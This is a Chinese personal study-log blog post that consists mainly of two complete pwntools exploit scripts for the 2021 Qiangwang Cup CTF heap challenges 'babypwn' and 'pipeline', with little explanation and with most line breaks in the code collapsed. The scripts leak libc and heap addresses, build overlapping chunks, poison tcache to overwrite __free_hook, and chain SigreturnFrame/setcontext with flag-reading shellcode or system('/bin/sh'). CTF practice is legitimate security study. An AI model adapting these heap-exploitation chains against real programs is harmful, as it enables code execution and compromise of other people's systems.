21.07.13学习总结

Column: July 13, 2021
Tags: learning experience

LOL的终极魔典真好玩(逃), 今天B站还被拿下了, 笑嘻了

00:30-03:00: 写完了pipeline, 先通过数据转换和传参导致溢出, 再改指针直接任意写, 其实heapbase都不用泄露的

21:30-21:55: 写学习总结和ctf套路总结

22:20-23:00: 看了会Linux私房菜, 内核那里只看懂一丢丢, 呜呜呜

2021强网杯 babypwn:

#!/usr/bin/env python
# coding=utf-8
from pwn import *
from z3 import *
sh=process('./babypwn')
elf=ELF('./babypwn')
context.binary='./babypwn'
libc=ELF('/home/thu1e/ctf/glibc-all-in-one/libs/2.27-3ubuntu1.4_amd64/libc.so.6')
#context.log_level='debug'def decode(addr):a1=BitVec('a1', 33)a=a1for i in range(2):item1 = (32 * a1) & 0xffffffffa1 ^= item1 ^ (((a1 ^ item1) >> 17) & 0xffffffff) ^ (((item1 ^ a1 ^ (((a1 ^ item1) >> 17) & 0xffffffff)) << 13) & 0xffffffff)s=Solver()s.add(a1==addr)s.check()result=s.model()return result[a].as_long()def get_addr(fake_addr):true_addr=decode(fake_addr)#print hex(true_addr)return true_addrdef add(size):sh.recvuntil('>>> \n')sh.sendline('1')sh.recvuntil('size:\n')sh.sendline(str(size))def delete(idx):sh.recvuntil('>>> \n')sh.sendline('2')sh.recvuntil('index:\n')sh.sendline(str(idx))def edit(idx, content):sh.recvuntil('>>> \n')sh.sendline('3')sh.recvuntil('index:\n')sh.sendline(str(idx))sh.recvuntil('content:\n')sh.send(content)def show(idx):sh.recvuntil('>>> \n')sh.sendline('4')sh.recvuntil('index:\n')sh.sendline(str(idx))def stop():print str(proc.pidof(sh))pause()def pwn():#use unsorted bin to leak libc[add(0x200) for i in range(8)]#0->8add(0x20) #9, avoid merging[add(0x50) for i in range(6)]#10->15for i in range(8):#tc full and have first unsorteddelete(i)delete(10)delete(12)add(0x20) #0, get fd bkshow(0)low_addr=int(sh.recvuntil('\n').split('\n')[0], 16)high_addr=int(sh.recvuntil('\n').split('\n')[0], 16)low_addr=get_addr(low_addr)high_addr=get_addr(high_addr)leak_libc=high_addr*0x100000000+low_addrlog.success('leak addr: '+hex(leak_libc))main_arena=leak_libc-0x260libc_base=main_arena-0x3ebc40log.success('main arena: '+hex(main_arena))log.success('libc base: '+hex(libc_base))#use fastbin to leak heap base[add(0x50) for i in range(7)]#1->8[add(0x50) for i in range(2)]#10, 12for i in range(7):#tc fulldelete(1+i)delete(10)delete(12)[add(0x50) for i in range(7)]#1->8, tc emptyadd(0x50)#10, we have leak heap fdshow(10)low_addr=int(sh.recvuntil('\n').split('\n')[0], 16)high_addr=int(sh.recvuntil('\n').split('\n')[0], 16)low_addr=get_addr(low_addr)high_addr=get_addr(high_addr)heap_base=high_addr*0x100000000+low_addr-0x2250log.success('heap base: '+hex(heap_base))#use obo to build overlappingfor i in range(12):delete(i)delete(13)add(0xf8)#0add(0xf8)#1add(0xf8)#2add(0xf8)#3add(0x100)#4add(0x90)#5, avoid merging[add(0xf8) for i in range(7)]#6->12add(0x90)#13, avoid mergingfor i in range(7):delete(6+i)edit(3, 'w'*0xf8)'''two ways have been listed''''''1, recommanded'''edit(3, 'w'*0xf0+p64(0x200))edit(4, 'w'*0xf0+p64(0)+p64(0x21))edit(5, p64(0)+p64(0x91))target=heap_base+0x2510edit(2, 'b'*0xf0+p64(0x100))edit(2, p64(target+0x20-0x18)+p64(target+0x20-0x10)+p64(target))'''2, because of seccomp, there are many chunk in tc, thus using bigger chunk like 1 can provide more size range'''#edit(3, 'w'*0xf0+p64(0x100))#edit(4, 'w'*0xf0+p64(0)+p64(0x21))#edit(5, p64(0)+p64(0x91))#target=heap_base+0x2610#edit(3, p64(target+0x20-0x18)+p64(target+0x20-0x10)+p64(target))delete(4)#link to __free_hookadd(0xf8)add(0x1f0) #6, can uafdelete(3) #can uafpayload1=p64(0)*0x1f+p64(0x101)+p64(libc_base+libc.sym['__free_hook'])edit(6, payload1)#change __free_hookframe=SigreturnFrame()frame.rsp=heap_base+0x2320frame.rbp=heap_base+0x2320+0x10frame.rip=libc_base+libc.sym['mprotect']frame.rdi=heap_baseframe.rsi=0x10000frame.rdx=0x7jmp_addr=0x76f5bshellcode='''push 0;push 0x67616c66;//mov rax, 0x7478742e67616c66;//push rax;mov rdi, rsp;mov rsi, 0;mov rax, 2;syscall;mov rdi, rax;mov rsi, rsp;mov rdx, 0xff;mov rax, 0;syscall;mov rdi, 1;mov rsi, rsp;mov rdx, 0xff;mov rax, 1;syscall;'''shellcode=asm(shellcode)print hex(len(frame))add(0xf8)edit(3, str(frame))add(0xf8)edit(7, p64(libc_base+libc.sym['setcontext']+53))edit(0, p64(libc_base+jmp_addr)+p64(0)+p64(heap_base+0x2320+0x20)+p64(0)+shellcode)gdb.attach(sh, '''x/30gx $rebase(0x202060)\n b *$rebase(0xe69)''')delete(3)#stop()sh.interactive()pwn()

2021强网杯 pipeline:

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.binary='./pipeline'
sh=process('./pipeline')
elf=ELF('./pipeline')
libc=elf.libc
context.log_level='debug'def new():sh.recvuntil('>> ')sh.sendline('1')def edit(idx, offset, size):sh.recvuntil('>> ')sh.sendline('2')sh.recvuntil('index: ')sh.sendline(str(idx))sh.recvuntil('offset: ')sh.sendline(str(offset))sh.recvuntil('size: ')sh.sendline(str(size))def destroy(idx):sh.recvuntil('>> ')sh.sendline('3')sh.recvuntil('index: ')sh.sendline(str(idx))def append(idx, size, content):sh.recvuntil('>> ')sh.sendline('4')sh.recvuntil('index: ')sh.sendline(str(idx))sh.recvuntil('size: ')sh.sendline(str(size))sh.recvuntil('data: ')sh.sendline(content)def show(idx):sh.recvuntil('>> ')sh.sendline('5')sh.recvuntil('index: ')sh.sendline(str(idx))def stop():print str(proc.pidof(sh))pause()def pwn():[new() for i in range(2)]edit(1, 48, 0x800)new() #2edit(1, 48, 0)new() #3edit(3, 0, 0x200)append(3, 8, 'w'*8)show(3)sh.recvuntil('w'*8)leak_libc=u64(sh.recv(6).ljust(8, '\x00'))main_arena=leak_libc-0x60log.success('main_arena: '+hex(main_arena))libc_base=main_arena-0x1ebb80log.success('libc base: '+hex(libc_base))edit(3, 0, 0x700)new() #4edit(4, 0, 0x600)new() #5edit(3, 0, 0)edit(4, 0, 0)edit(5, 0, 0x700)append(5, 8, 'w'*8)show(5)sh.recvuntil('w'*8)leak_heap=u64(sh.recv(6).ljust(8, '\x00'))heap_base=leak_heap-0xb40log.success('heap base: '+hex(heap_base))new() #6edit(6, 0, 0x50)new() #7edit(7, 0, 0x50)append(6, 0xffff1000, '/bin/sh\x00'*2*5+p64(0)+p64(0x21)+p64(libc_base+libc.sym['__free_hook']))append(7, 0xffff1000, p64(libc_base+libc.sym['system']))edit(6, 0, 0)sh.interactive()pwn()

21 07 13学习总结相关推荐

21.07.12学习总结
今天打了疫苗, 然后骑车回家没戴头盔, 喜-20￥ 01:30-03:20: 完成了2021强网杯babypwn的heap泄露和overlapping(这玩意我还真忘了, 看了好久-), 睡醒花半个小 ...
哔哩哔哩“2021.07.13 我们是这样崩的”报告的学习-1
哔哩哔哩"2021.07.13 我们是这样崩的"报告的学习-1 这份报告是我学计算机两年来第一次真实看到大厂的员工到底在干什么.出现了很多专有名词,以及当前最先进的互联网企业的应用 ...
苏嵌学习日志03 07.13
学习日志姓名:刘易中日期:2018/07/13 今日学习任务结构体.结构体和链表.内存管理.关键字union.enum.typedef等. 今日任务完成情况 (详细说明本 ...
Java学习-07 IO学习
Java学习-07 IO学习 I : 即input,代表读取.O:即output,代表输出. 1.File 主要字段: 示例: System.out.println(File.pathSeparato ...
【第五组】头脑风暴+核心竞争力+NABCD+个人（用例+功能+技术说明书）最后修改时间 2017.07.13...
2017.07.13版因为对之前版本做了较多修改,所以重新发了,并且在博客下方保留原有版本作为记录. 头脑风暴结果: 刚开始我们无法确定要做一个什么样的应用程序,总结之前可视化课程的作业,我们提出了 ...
工作流Activiti5.13学习笔记（一）
工作流Activiti5.13学习笔记(一) 了解工作流 1.工作流(Workflow),就是"业务过程的部分或整体在计算机应用环境下的自动化",它主要解决的是"使在多个 ...
2019.07.30 学习整理
2019.07.30 学习整理数据类型 1. 什么是数据类型数据类型指的就是变量值的不同类型 2. 为何对数据分类? 变量的是用来反映状态以及状态变化的,毫无疑问针对不同的状态就应该用不同类型的数 ...
2010.07.13＿19：30
又是地铁中,音乐在响,离目的地一半,又一天上班结束. 转载于:https://www.cnblogs.com/sunxi2003/archive/2010/07/13/1776724.html
HALCON 21.11：学习笔记---OPC_UA(I/O)
HALCON 21.11:学习笔记---OPC_UA(I/O) 本章主要提供有关OPC_UA的信息. 系统要求 Intel compatible PC with Windows 7 (32-bit o ...

21 07 13学习总结

21.07.13学习总结

2021强网杯 babypwn:

2021强网杯 pipeline:

21 07 13学习总结相关推荐

最新文章

热门文章